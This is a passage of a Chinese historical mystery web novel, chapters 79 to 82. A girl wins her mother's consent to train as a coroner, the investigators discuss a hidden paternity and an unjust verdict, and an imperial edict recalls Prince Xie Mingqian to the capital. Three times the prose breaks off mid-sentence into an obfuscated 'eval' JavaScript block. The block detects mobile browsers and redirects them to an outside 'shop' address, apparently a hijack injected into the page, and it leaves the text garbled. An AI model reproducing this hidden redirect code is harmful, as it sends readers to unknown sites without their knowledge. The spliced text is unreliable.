“他们不跟我玩儿就算了,我和他们不一样,何必非要凑在一起呢。”蒋玉蓉抓紧了春信的袖子,“你看,你就不嫌弃我,还来我家吃饭,真正的朋友才不会嫌弃我呢,那些虚情假意换来的朋友,总有一天也会因为虚情假意而离开的。” “但是死人就好多了!”蒋玉蓉笑得狡黠,“他们又不会说话,不会嫌弃我,我也不用讨好他们!” 79. 第七十九章 春信看着趴在自己手臂上的小丫头,有些哭笑不得:“你这机灵鬼,说得倒是有几分道理。” 蒋玉蓉嘿嘿笑了几声,陈青倒是没好气道:“这丫头,油嘴滑舌,也不知道跟谁学的。” “娘……”蒋玉蓉甜甜地冲母亲撒了个娇,“您不想我继续做仵作,无非是觉得仵作人家总是被人嫌弃,可是这世界上除了皇帝,哪有人不会被嫌弃的呢,做不过是有些人嫌弃你在心中,有些人嫌弃你在嘴边罢了。就算是被人挂在嘴边嫌弃,也不过就是丢个面子的事儿,面子值几个钱呢。” “我长这么大,没有哪一天不在面对着外面的冷言冷语,可是有一天我和表哥去给人敛尸,那尸体是泡在水中的,已是面目全非了。我对表哥说,我一定爱惜自己的命,要死也绝不要死那么丑。表哥说叫我爱惜自己的命,别老说死不死的。再说这人,死都死了,哪有什么丑不丑的,你看这人躺在我们面前,他自己也看不见自己的样子,你说他的死状惨烈他也浑然听不见。他们哪有心思在意那么多,只要能入土为安便是最好了。” “那时我就想,其实不去看,就不知道自己高矮胖瘦,也不知美与丑;不去听,也就不知道自己在别人眼里是什么样子,也就不烦恼了。人要想好好活着,就不要总是打量自己这里不好哪里不好,也不要去听、不要去在意。后来我就再也不怕别人骂我了!” 蒋玉蓉水灵灵的眸子笑得明媚,陈青见了她如此开朗的笑容,不禁有几分失神,这样快乐的笑容,曾几何时也在她的脸上出现过,只是她在意的太多、听得太多,渐渐地失去了这样的纯真。 蒋玉蓉见陈青出神地不说话,以为自己说的还不够,便继续道:“娘,那些面子,都不值钱。我给死者一个体面,死者或许还会无声地说一句感谢,这才值钱呢。” 陈青揽过蒋玉蓉的肩,将她拢入怀中,沉默良久,眼前闪过自己恣意的少年时期,闪过自己自己所纠结的爱与恨。她抱着蒋玉蓉毛茸茸的脑袋,一时之间觉得天地开阔,堵在心口的那口气消散开来,不再纠结了。 “行了,依你就是。” 蒋玉蓉微愣,猛地抬起头来:“真的么?” 陈青将紧紧攥住自己袖子的那只手掰下来,握到手心里,嗔怪道:“娘何时说过假话?” “太好了,太好了!”蒋玉蓉扑到陈青怀里,又哭又笑。 陈青端出一副严厉的样子,正色道:“我也只是允许你从我这里学验尸的东西,至于其他的,以后再说。” 蒋玉蓉哪管那么多,只要眼下陈青答应了便是好的,抱着母亲便不撒手。 陈青宠溺地瞧她一眼:“你呀,这个样子像什么话,也不怕春信姑娘看笑话。” 话是这么说,双手却将蒋玉蓉抱得更紧些。 这个孩子像她,虽然比她那时心思单纯些,但那股执着和干劲却与她如出一辙。不像陈祥那小子…… 想到这儿,陈青嘴角的笑容微僵。 那时陈青恨老林,也恨肚子里的孩子,想着若是个女儿,她心里倒还欢喜,可若生下来是个儿子,恐怕只会和老林一样,是个倒霉催的软蛋。 果不其然,陈祥现在的性子不就是像他爹那般窝囊么。 后来哥哥嫂嫂去世,她见蒋玉蓉可怜,便想着两个孩子一起养。可是养着养着,实在是更喜欢蒋玉蓉这丫头,便借口对父亲说,将儿子放到哥哥名下,陈家也好后继有人,顺便也能遮掩遮掩这私生子的事。顺理成章地,就这么把蒋玉蓉接到自己这儿来养了。 陈青抬起手掌,恋爱地拂过蒋玉蓉的发丝,眼底的柔软熠熠生辉。这么多年,多亏了有蒋玉蓉这孩子,给她添上几分欢喜。 母女两个将春信送走,一起收拾着碗筷。 “丫头,今日官府叫你去所为何事啊?” “哦,是叫我去问问五年前那场大水的事,还问我是不是去看望过父亲。也不知道他们为什么这样问,真是好生奇怪。” 陈青手一滑,摔碎了一个碗。 蒋玉蓉跑过来一看,陈青呆若木鸡地站在原地,忙将她拉开:“娘,你这是怎么了?快过来些,小心碎片划伤了脚。” 陈青这才回神:“玉蓉,你是怎么回答的?” “我如实回答,就说未曾见过呀。” 陈青僵硬的脸上强撑起一个笑容:“那之后呢?他们没问出个所以然,就这么放你回来了?” “是啊。不过我出来的时候,表哥在那儿等我,他们便把表哥叫过去了。” 陈青脸色大变,眼底讳莫如深,如临大敌。 “娘,怎么了?”蒋玉蓉有些不解。 “没事。”陈青从嘴角挤出几个字来,抬眼望了望父亲那边院子,亮着灯,“你表哥也不知道吃饭了没有,你去外公家问问他。” 蒋玉蓉应声,擦了擦沾湿了的手:“可是家里也没有什么饭菜了呀,外公在家的,应该会给表哥留饭吃的吧。” “嗯。”陈青心不在焉地应了几声,目光定在那边院子的方向,“快去吧。” - 春信回到县衙之时,刚巧与陈祥擦肩而过。见他失魂落魄的样子,本还觉得有些好奇想上去问问,春雨这时从屋檐上鬼鬼祟祟地探出个脑袋来,示意她不用上前,她也就没做停留。 “陈仵作那是怎么了?失魂落魄的,被你们骂了?” 玄鉴堂内,茶香幽幽,谢明乾如释重负地靠在椅背上,满脸轻松淡然。胡碟抬起头来:“陈祥便是老林头的那个儿子,你们要找的证人,这下找到了。” 春信似是觉得意料之中:“难怪我哥会跟着他,原来是保护证人呀。” 胡碟将陈祥所说讲给春信听,春信恍然道:“今日我在蒋玉蓉家,她母亲说,当年那个人,也就是老林头,是因为嫌弃她仵作家的身份,才抛妻弃子的。” 胡碟却摇摇头:“我看不尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025023|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然。陈祥说当年他去医馆,是老林头托你们师父帮忙,想见见那个未曾谋面的孩子。陈祥去过医馆之后,便想改口叫姑姑为母亲,可陈青却勃然大怒,绝对不允许这么做。自那之后,陈祥与陈氏的关系便有些微妙,比起从前还要疏离了些,所以有件事他一直未曾告诉过陈青。” “陈祥在老林的病床前,五味杂陈,对这个父亲,怨恨大过亲近,毕竟是因为老林的所作所为才让他不能在完整的家庭里长大,甚至连母亲也不肯认他。那时他问老林头,为什么成了亲却还要来招惹陈青,到最后害了所有人。” “老林头神志有些不清醒了,只是胡乱地重复着一些话。他说那时禹城发大水,淹死了他的双亲,他们家被大水冲垮了,他浑身上下的钱掏出来,只买得起一副薄棺。他内心纠结,既不能叫母亲曝尸荒野,也做不到对父亲不管不顾。后来,是城东卖酒的卫家娘子帮了他,说他为双亲下葬之事执着至此,想必是个仁孝之人,叫他不用偿还棺材钱,只消与她成亲便可。” “老林头说完这个故事,便只是重复着,我穷怕了,穷怕了呀……” 春信唏嘘道:“他说他穷怕了,所以才与颇有些钱财的卫娘子成亲?可是想发家致富,也不是这么个做法呀。” “是啊,”胡碟道,“陈祥今年二十岁,算起来应该比老林头与卫娘子的女儿要大上一些,这么说来,陈祥其实是老林在成亲之前的孩子,虽然是未婚生下的孩子,但也不算是有违道德。这么看来,老林确实是因为钱财,因为想要坐享其成,才抛下陈青,转投卫娘子怀抱的,并非我们先前猜测的,因为嫌弃卫娘子生不出儿子,而在外添了个儿子。” “可是有个很大的问题,陈家就是卖棺材的呀,为什么老林买不起棺材,不去找陈大娘帮忙呢?”春信甩了甩头,“搞不懂,搞不懂。” 守一在一旁听着,适时开口道:“要这么说,可不可以猜测,老林头并不知道陈青的身份,毕竟仵作之家的人都比较低调,不然也不会这么多年都没有人知道老林和陈祥的关系。所以老林为了一副棺材,抛妻弃子,若是他知道了陈青家就是卖棺材的,恐怕是追悔莫及。” 春信道:“有道理!” 胡碟却道:“我同意守一的猜测,但追悔莫及……我看非也。打败老林的不是那一副棺材,所以就算陈青解决了老林父母的棺材问题,也解决不了其他问题。仵作之家遭人唾弃,生活也同样清贫,老林遇到这些问题,迟早也会退缩的。” 春信叹了口气:“亏得陈大娘还以为老林嫌弃她家是仵作,困住自己那么多年,害得蒋玉蓉也险些不能学仵作,到头来全是老林自己太过脆弱,害了那么多人。幸好蒋玉蓉一直坚持着,今日,她母亲终于肯答应让她正式学仵作了。” 胡碟听了也觉得高兴,她一直都希望能有女人光明正大当上仵作:“这真是好事。蒋玉蓉如此坚持,正如那位张丽英一般,悠悠我意,我意不可辱。” 80. 第八十章 “悠悠我意……是什么意思?”春信问。 胡碟站起身,负手向前行了几步,回眸时闪烁的烛光映在眉宇间:“这是记载在云笈七签中的石鼓歌,是一名叫做张丽英的女子所作。” “相传这名女子相貌异于常人,面有奇光,她不用镜子,只用一匹白绢便可映照出自己的容颜。长沙王吴芮听闻以后,便带兵前来聘娶。可张丽英是个修行人,她一心向道,向着心中的悠悠我意,坚决不从。她登上了金精山,在石鼓处就义,并且留下了这首石鼓歌。在她看来,做一个守着悠悠我意的人,比做一个荣华富贵的妃子要强多了。” “悠悠我意。我意不可辱。王威不可夺余志。”胡碟望向春信的眼神中,一片柔和的光,璀璨夺目,“这便是张丽英的意志。悠悠我意,就是一个人心之所向,坚定不移的目标。” 春信觉得胡碟笑得让人如坐春风:“春信,守一,你们心中,可有悠悠我意?” 春信当即苦恼地咬住了嘴唇,守一则是一愣,随后目光越来越深沉,似是有些为难。 胡碟摆摆手:“不着急回答。人生在世从呱呱坠地之时便被外界所束缚着,你所看见的,都是大千世界已经写好了的。有人想要成亲生子,有人志在四方,有人要做高官,有人要下泥塘。可女子之选择,总绕不过内闱之事。所以你们不必着急回答这个问题,多去看看大千世界,多了解自己的内心,知何为我,方知何为悠悠我意。” 谢明乾闭目躺在椅子上,神游太虚,恍惚间听见胡碟这番话,不禁也开始思考自己的悠悠我意。 若说从前,他心中所纠结的,一定是师父和净巍宗的案子。可是如今胜利在望,他忽地不知道自己要去何方了。 作为一个皇子,他对皇位不甚在意。师父说过,龙椅之上,乃万丈深渊。要内心清明,就离那高堂越远越好。 作为一个将军,其实杀戮也并非他所追逐。带兵打仗,不过为一方太平,他也并不希望狼烟四起,征战四方。 若说我意,我意执着而坚定,但悠悠我意,却是淡然又平静,是一眼细水长流飘着雾气的温泉,才算得上是悠悠吧。 抛去浮华、欲望和名利,仓廪实、衣食足之后,发自内心的安然之处,才是悠悠我意吧。 谢明乾将右手轻轻搭在手腕上,嘴角微勾。这样屋檐下躲风雨,树荫下遮太阳的悠然,忘却纷纷扰扰,忘记仇恨,静静躺着的日子,或许是他想要的。 当然,这样的日子里不能只有他一人。 “那就好。”春信有些懊恼,“我既不知何为悠悠我意,也不知我心里想的是什么。” “既然如此,慢慢来便是。”胡碟笑道。 守一沉着一张脸,也懵懂地点了点头。 胡碟转向一旁躺着的人:“起来干活了。” 谢明乾捂着脑袋睁开眼,剑眉星目拧成一团:“敏理,为何敲我!” “叫你起来干活,现在还不到休息的时候。”胡碟攥住谢明乾的左手,想将他拉起来,他却像被刺到似的一下甩开手,揉着手腕站起身,神色紧张。 胡碟打量他一眼,坐回圈椅里:“眼下的两件事。一是许梅香的事,已稳稳行进了大半,按照之前的计划,只需要择日再审冯贵,不出意外的话,一切便可尘埃落定。” 听见许梅香的事,春信又叹息一声:“那时我想着将色鬼抓住更为重要,这样许姐姐也能少一些危险,便留在了禹城,谁曾想这是个错误的选择,许姐姐的危险根本就不是色鬼。唉……要是那时我跟着去,人手也就多些,说不准那时也就追上许姐姐,也就能救下她了。” 胡碟与守一对视一眼,道:“我和守一早已检讨过了,这件事我们都有失误,都有错误的选择,但错不在我们,我想,这背后一定是有我们看不清的东西,不然也不会让我们一个两个的,全都做错了决定。正是因为我们不知道许梅香身上牵扯了多少事,才会掉以轻心,以为色鬼才是她最大的威胁,才会以为她母亲来接她定会平安无事。” 胡碟皱眉:“洪家,一定不简单,但其中到底有多厉害,尚且不得而知。但就目前掌握的线索来看,许梅香的死,似乎是个死局。她有个那样的父亲,便注定她要嫁给洪盛,这里,她逃不掉;她母亲来接她,被她父亲阻拦送回洪家,这里,她也逃不掉;洪盛一死,洪家处心积虑又急不可耐地要将她卖掉,要知道,这其中罪不可赦的不止洪老太一人,而是牵扯到整个洪家,这里,她同样逃不掉。” “是个死局么。”守一望着烛火摇曳处,喃喃道。 谢明乾道:“死局?也就是说,毫无破解之法么?” 胡碟道:“似有似无。若说有,那便是在我们遇见她之时,若守一追刘庆时遇见她,能再多个人手追上去;若那时在莲县,我们能先一步在冯贵的刀下救下她,一切都还来得及。可惜……” “可惜就差一步。”谢明乾道。 “不,”胡碟艰难地摇头,“看似是差一步,可是,是什么导致我们差了那一步?这其中一定还有很多原因,我们未曾碰到,才总是差那一步。这些原因不弄明白,我们就永远无法追上那一步。这一步不是造化弄人,不是天要她亡,相反,这是命运的指引,提醒我们,差了点东西。” “醍醐灌顶!”春信道,“这样的话真是醍醐灌顶!我差点都要失望了,可是听了你的话,我忽然觉得我们还能有机会,虽然斯人已逝,可我总觉得还有机会。” “我明白,”胡碟浅笑着点头,“我们还有机会知道原因,还有机会抓出所有的凶手,不仅仅是洪老太和冯贵。我们还有机会,吸取教训,以后再也不怕这样的事情。” “当时如果我们知道禹城这么多人都会卖媳妇买媳妇,是不是就能早些帮助许姐姐脱离苦海,也就不会有后来的事了?”春信问。 胡碟道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042477|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我们当时对禹城的了解太少,对许梅香的了解也太少,如果那时知道这些,也许还能挽回。不说这些了,”胡碟记着今日还有一件事,急忙调转话头,“关于净巍宗的事,你们能否将一些细节再讲一讲?” 胡碟清明的目光带着些凝重看向谢明乾,叫他一瞬间有些愣神:“细、细节?” “对。比如说,你们要找证人,证明当时你师父不在场,他是不在哪个场?换言之,案发之地在何处?你们费尽心思,花了四五年时间,就是为了证明他不在场,可是当年判罪之时,又是如何认定他是凶手的呢?” 眼下证人之事几乎已是板上钉钉,谢明乾等人才将喘了口气,胡碟这话说得严肃认真,让谢明乾一下坐直了身子,胡碟不会莫名露出这样的神情,也不会仅仅是好奇当年的事:“那些细节有什么问题么?” “倒不是有什么问题,我是担心你只带一个人证回去,无法成功翻案,毕竟当年死了那么多人,你如今说这是误判,若是拿不出证据,哪怕你是皇子,恐怕也会让许多人,甚至是皇帝不满意。怎么,是不方便说么?” “倒没有不方便说……你帮了我们这么多,我们对你自然是信任的。”谢明乾沉吟片刻道,“当年那个案子,奇相司的司长窦显齐死在酒楼莲华院内,当天那里设宴,为朝廷派来的官员以及来救灾的官员接风洗尘,我师父也接到了请帖,可是他没去,一直待在医馆。后来窦显齐在傍晚十分死在酒楼里,据当时在场的人说,莲华院内傍晚时分有些嘈杂,后来就发现有人死了,前去报官。只是当时的人证都找不到了,我们也不能确定是真是假。” “但总归,这是后来大理寺定罪时的说法,我们只要证明那时师父不在酒楼内便可。”谢明乾道,“当时大理寺的说法实在荒谬,仅凭我师父手上也有请帖,便说我师父当时就在现场,别的人都没有嫌疑,就只有他有嫌疑。” 谢明乾拉住胡碟手臂:“敏理,我是想着,当时定罪定得草率,也有很多地方站不住脚,若我能拿出有力的证据,必定是能有胜算的。你觉得呢?” 谢明乾期冀的眼神让胡碟有一瞬的失神,她难以开口说出否定的话,只是她隐约觉得,这件事恐怕没那么简单。只是五年过去了,朝廷又有意尘封这件事,她一时之间实在找不出什么头绪。 谢明乾垂下灰扑扑的眼睫,语气低沉道:“这么些年的努力,天道酬勤,我想不会白费吧?” “嗯。你的想法没错,你带回这个人证,确实是有力的反击。”胡碟到底没能说出否定的话,她如今既无确凿证据,也拿不出什么缘由,还是不要在这件事上插手太多,以免多说多错。 “不过你还是要小心……” 胡碟话还没说完,就听见外间有些喧闹,慌乱的脚步声越逼越近,徐友来冒冒失失地跑进来。 “各位大侠救命啊,南都来人了,还带了圣旨,不知道是找谁的!” 81. 第八十一章 徐友来不知外头的公公为何夤夜前来,也不知那圣旨上所写是为何事,他只知道那圣旨肯定不会是叫他升官的,反倒是可能叫他小命不保。恐怕与这两尊大佛脱不了干系! 云逸杰倒还好,这幽王可就不同了。云逸杰早先便说过,谢明乾是无召离开边疆,这对于大昭的武官来说可是大忌,谢明乾是皇子,万一到时候牵扯出什么夺权逼宫的戏码,徐友来收容了他们这么久,恐怕难逃个助纣为虐的罪名! 更可怕的是,徐友来在谢明乾威逼利诱下,帮他们查了不少关于净巍宗一案的事,这可是朝廷封锁,不许任何人提一句的案子! 徐友来近日茶不思饭不想,整日整夜地忧心忡忡,可没想到,这一天还是来了! “幽王殿下,您看是不是跟我去外头接旨啊?”徐友来苦着一张脸试探道。 谢明乾与胡碟话说到一半却听了这么个消息,脸色变得微妙起来。他一改与胡碟说话时的不羁的腔调和轻柔的眉眼,转过身的一刹那,好似对面虽无敌人,但却剑拔弩张,眼中凌厉蓄势待发,月华流光之下冷冷地闪着:“走。” 所有人都跟了出去,胡碟走在最后,想起自己方才还未说完的嘱咐,有些为眼下的形式忧心。看来不出她所料,谢明乾对于自己离开边疆来查案的行为心中有数,且随时做好了迎接责罚的准备,否则,也不会眉宇之间常带哀色。 只是为什么偏偏在这个节骨眼上出事?又是谁告的密呢?她可不会相信是皇帝自己起心动念想去关心自己儿子,结果却得知儿子不在边疆这样的鬼话。 此时夜空,圆月高悬,黑夜一望无际的墨色深不可测,令人无端觉得胆寒。 胡碟心底叹了口气,这些事如今的牵扯是越来越多,越来越复杂了。 院子里早已跪满了一堆人,冰凉的月色之下,那些匍匐在地上的背影,像极了凄冷墓地里的一块块墓碑,看似在等候着死亡的宣判,实则早已死去多时,白骨成灰。 胡碟掀起衣角,熟练地跪下,这一跪,叫她心中升起一种熟悉的悲凉。 曾几何时,她在寒气仍旧刺骨的冬夜里,在牢狱之中等待着审批,像只剩最后一丝灯芯的油灯一般,等待着那道救命的圣旨。最后终于等来了,却觉得凄然悲怆。 “奉天承运皇帝,召曰……幽王谢明乾无召离疆,目无王法,令即刻回京复命,不得有误。” 这是所有人的意料之中,一时之间不知该是松了一口气还是提起一口气,总之,没有人是轻松的。 谢明乾双手接过那道圣旨,嘴角含着冷笑。幼时他多么渴望能有这样一道圣旨,上面写着“我的儿子,父皇想你了,你回宫一趟”之类的话。如今他全然不需要这样的关怀,见到这样的圣旨,只觉得该来的总归还是来了。 宣旨的公公是皇帝身边的大太监吉祥,一张圆润的脸上总是堆着意味不明的微笑:“幽王殿下,陛下限奴才五日之内将您带回南都,奴才路上耽搁了两日,这才匆忙夤夜宣旨,打扰了殿下清净,还望殿下赎罪。” 谢明乾冷声道:“不敢,有劳吉祥公公了。” “殿下,如今只剩下三日,还望殿下早些做打算,咱们好快马加鞭,回京复命才是。” 谢明乾捏紧手中的黄绢:“知道了,吉祥公公一路辛苦,快去驿馆歇下吧。” 吉祥也不多耽搁,细长的鬼眼扫了一眼院子里站着的人,挥袖离开了。 “小金子,”往外走出些距离,吉祥低下头喊了身旁跟着的小太监一声。 “干爹。”小金子低着头靠近些,他知道干爹这般低声唤他时,便是有些不能大声说的话要他听。 果然,吉祥那张惨白的包子脸上浮现出一丝迷茫来:“你可看见那位大人了?” 小金子垂下眼,他是吉祥身边最得力的,自然知道吉祥说的是方才院子里的人,至于他口中的“大人”,也断然不会是站在最前头的幽王。 “干爹,儿子瞧见了,可是那位云逸杰云大人?” 见吉祥点点头,小金子知道自己是猜对了。 吉祥缓步走在夜半无人的街上,望着前方,声音小得几乎听不见:“你可还记得我们初见他那日?” “记得的。” “嗯。我也记得。” 那日皇帝听说大理寺有个小官员惹了些流言蜚语被关进大牢,便叫他带了圣旨前去搭救。他们去时,这位大人穿着单薄的衣服,破烂的淡青色官袍松散地披在身上,浑身脏兮兮地躺在干草里,双颊红得像晚秋的苹果,似是发着热。饶是这样,接旨时的那双发红的眼睛,也是清明如许,透着坚毅。 “大人接了旨从这牢狱里出去,快找个大夫看看吧,出南都以后跋山涉水,还有得是辛苦呢。” 那人淡淡回了句:“多谢公公。”便走了出去,一身傲骨,虽在黯淡之地,却风度无双。 吉祥看见那张脸时便是一惊,不为别的,只为这张脸,曾经是那般的意气风发,那时虽然仍是清冷,可也不似如今这般沉寂。 这是通元二年十七岁的状元呐。 吉祥与他的初见并非是在狱中,而是那时云逸杰自南都街上打马而过,身穿红袍头戴冠,骑的马儿高高的。那日头太盛看不清状元郎的脸,人们只听见他的笑声,那阳光啊,像橘子一样金灿灿的。 后来琼林宴上,他高谈阔论直言不讳,风光无限,皇帝可是非常喜欢他的。 怎么三年以来籍籍无名,吉祥都差点忘了他了。 也是,这些年来的状元,被赵家收编的收编、整治的整治,哪里还有为皇上所用的份呢? 这次云逸杰身陷囹圄,皇帝能来搭救,也是他自救的结果。传闻那日云逸杰被一妇人当街指认图谋不轨,叫苦不得,大理寺卿当即就要抓人,下狱审问,云逸杰当街将官袍撕毁,高声喊冤,说官袍乃陛下亲赐,他如今蒙冤,要将官袍撕毁,再不求皇恩庇佑。 这样触犯圣颜的言语一出口,在南都传得沸沸扬扬,很快便传到了皇帝耳朵里。可皇帝听了不仅没有发怒,反而喜极,大笑道:“好极了,此子聪慧,定能为我所用。” 随后才有了吉祥连夜带着圣旨到狱中捞人的事。 “希望这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063705|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了圣旨离京的大人,不辜负皇帝救他一命吧。”吉祥抬头望着一轮圆月,幽幽道。 小金子低眉顺眼地回了句:“天佑大昭。” - 一轮圆月照众生,四时不同百味真。 谢明乾的心情远没有吉祥那般畅快,他自从接旨之后,便沉默地背着手站在院子里,望着皎月。 胡碟以为他是一时有些慌乱,便想安慰他几句:“平初,眼下事情都已明了,陈祥也大概是答应了作证人,你自去便是。俗话说虎毒不食子,那是你父亲,想来也不会真的责怪你,你不必太过担心了。” 谢明乾转过脸,胡碟才发现那上头不是愁眉不展,也非焦急担心,而是带着一丝哀伤和迷茫。 他轻笑了一声,在这静谧无边的夜里显得清脆无比:“我明白。我大概是有些……近乡情怯吧。” 胡碟并未注意到自己有些话多了起来:“找了那么多年的证据,如今结果似乎已经清晰,感到有些不真实,也是人之常情。我帮你想想,如今这个样子,保护证人最为要紧,你需得连夜疾驰回南都,不适合带着陈祥,且容易打草惊蛇。不若你先和破山春雨回去,守一和春信留在后天,等着陈祥收拾妥当再上路。如此兵分两路,也好避开他人耳目,毕竟当年如此大的一桩冤假错案,我想背后一定不简单,这次回去,恐怕有人虎视眈眈。” 谢明乾望着胡碟认真的眸子,笑得有些玩味:“眼下不是还有许梅香的案子未结么,守一和春信也不知能否放心得下。” 胡碟觉得有些奇怪,但却并未做它想:“许梅香的案子方才不是说了么,已进行了大半,人证物证具在,凶手也早就关在大牢里了,只需要最后定罪便可,不会再出什么岔子了,再说还有我在这里,她们二人有何不放心的?” 胡碟平时虽然爱打趣说谢明乾蠢笨,却也并不觉得他是真的蠢到什么地步,但今日这般分不清轻重缓急的问题,真叫她难以理解,以至于没留意到谢明乾眼底闪过的一丝暗色。 “如果再有人闹事呢?就凭县衙的那些人和徐友来,能解决这些问题么?”谢明乾又问。 胡碟见谢明乾跟不服输似的一直追问,有些不耐:“谢明乾,你师父的案子死了那么多人,如此惨烈,你还有心思关心其它的?你这脑子里想的都是什么……” “我是关心。”谢明乾见胡碟始终避而不谈,还是决定打算直接提醒她。 “我是关心守一和春信呢。”谢明乾目色沉沉地盯着胡碟,一步步向前,逼得胡碟后退了一步,“她们俩现在是你的人,你就这样安排她俩为我所用,问过她俩的意见么?” 谢明乾两指轻轻捏住胡碟的衣襟,将布料的角在手指尖折了又折:“你毫不关心么?我可是关心得很。” 胡碟觉得事态很不对劲,拧着眉:“事急从权,如今你的事优先……” “我可不要什么优先,”谢明乾眼中有无限深意,看得胡碟眼睛发烫,“我帮她们俩问问,你呢?” “她们俩跟着我走了,那你呢?” 这才是谢明乾心中忧伤的问题。 82. 第八十二章 胡碟这才意识到什么,心上有些空空的,望向一旁的春信和守一,那二人脸都黑了,一个气鼓鼓的别过脸去,一个双手抱胸冷眼看她。 “我……”胡碟想说些什么,却被谢明乾打断。 “敏理,我好心提醒你一句,这里不是只有你一个人长脑子,不要想耍什么花招诓骗谁,你还是想好了再说话吧。”谢明乾眸子里夹杂着几分戏谑。 胡碟面不改色,却有些心虚,再看守一和春信,那二人幽怨的脸上写满了赞同。 一时之间,胡碟也不知该如何解释。 “这……我这是在解决你被召回京的事,又与我有什么关系?” 谢明乾挑眉:“这么说你是铁了心不想和我们回去?” 他心中不知什么东西作祟,想着非要让胡碟与他们同行才好,否则下次再见,恐怕不知何年何月了。所以他要将这把火烧起来,叫守一和春信也不能置身事外,这样胜算才大一些。 胡碟想说是,想起守一和春信的眼神时又觉得不忍。从一开始她就没打算让她们俩真的长久跟着她。毕竟她身上秘密颇多,又有许多案子要查,带着她们二人虽然方便,可也后患无穷。 至于谢明乾,她并未想过也并未答应过要一直帮着他查案,这是不会变的,她还有要紧事仍未完成。 胡碟沉吟半晌,收拾好心态开口道:“净巍宗的案子已经结束,不需要我你也能完成这一切了。” 言下之意,此刻即该分道扬镳了。 谢明乾心上一紧,恍然明白过来,他确实没有理由再留下她了。 “你之前的请求,是叫我帮你查案,”胡碟不等他开口,径直说道,“如今约定已完成,我只是一个屠户,我要留下,是理所应当的。” 当初她也只是想借着谢明乾查案的动静作掩护,好正大光明地查赵家的事,如今谢明乾不得不走,她亦是不得不留下。 “你不是说你是游历之人么,走到哪里不是走呢?”谢明乾仍不死心。 “……我不过随口一说罢了,我哪里是什么逍遥的游历之人,只是个粗鄙的屠户罢了。眼下许梅香的案子我还得跟着,还得在禹城讨生活。倒是你,与其纠结我留在何处,不担心担心你自己。” 谢明乾道:“你不必担心我,我既然做得出离开查案的选择,就已经做好了准备,大不了我自请卸任一切职务,或者其他任何处罚我都接受。” “我说的不是这个。”胡碟面色凝重,“你不想想,是谁告的密,又为何偏偏选在这时候?对方是谁,是蓄意还是无意得知你的行踪?你若贸然回去,会等着你的会不会是万丈深渊,你又要做多少的准备才能应对自如?” 谢明乾对上那双关切的眸子,微微怔住。 片刻后他失笑道:“敏理,拉弓没有回头箭。你说的这些东西我不知道,但我没有选择了,就算前方是刀山火海,我也不可能不为我师父,不为净巍宗翻案的。” 他咬紧了牙,隐忍下所有的痛苦。 胡碟恍然间才反应过来,是啊,那是他的师父,他的师兄弟,无论前方是何模样,他不可能放任不管。试问若有朝一日母云山出了事,母师出了事,她和云江还会心安理得地待在南都待在禹城么?恐怕一刻也不会犹豫,只会快马加鞭赶回去。 “抱歉。”胡碟低垂着眼,“是我疏忽,太着急了。” “你这是关心则乱么?”谢明乾眼中的苦色化去,染上一抹笑意。 胡碟以为他嘲笑自己偏了方向的推测,冷哼一声不去回答。 谢明乾却全然不是这样想,他只是想确认一下,胡碟若是对他很关心,那么他就要利用这关心,叫她跟他走。 “夜已深,我们得早些回去休息了。”胡碟看着谢明乾,将“们”字咬得很重。 一旁的守一和春信面色不改,却是很自觉地向胡碟走来。 “诶敏理!”谢明乾叫住她,“你能不能考虑考虑跟我去南都的事?” 胡碟懒得跟他掰扯,敷衍道:“考虑考虑吧。” 考虑的结果就是不去,这点胡碟很确信。一是如今自身难保,再回南都等于羊入虎口再闯虎穴。二是…… 南都宁康坊的妇人、那些关起来的背影,叫她纠结,恐怕还没法面对。 就是这句随口的“考虑”,让她后来难以收场,箭在弦上。 - 回去路上,春信难得地光明正大走到胡碟身旁。 “敏敏,你就跟我们一起去呗。”春信见四下无人,挽住了胡碟的手,“不然我们以后怎么找你啊?” 胡碟目视前方,心上有些松动:“有缘自会相见。” “别呀。”春信打量了下四周,确定夜深人静的北街没有人,才凑到胡碟耳边悄悄说了声,“敏敏姐是不是心里根本没有我呀。” 胡碟瞪她一眼:“小声点儿!” “这附近又没有人嘛!现在乌漆嘛黑的,恐怕只有鬼能听见了。” 守一道:“别转移话题。” “……” “对。不许转移话题!”春信坚定地点头。 “你们呀……”胡碟刚要张口,再一次被打断。春信将食指竖着放在她嘴上叫她闭嘴:“你别说,我们说。” 胡碟饶有兴致地望着她,示意她说下去。 春信却只是道:“你别想跟我们分开,我们做鬼也不会放过你的!”她两手一甩,“说完了。” “……” “只是这样?”胡碟道。 “哎呀,我不会说。”春信着急得跺脚,指着守一,“你说。” 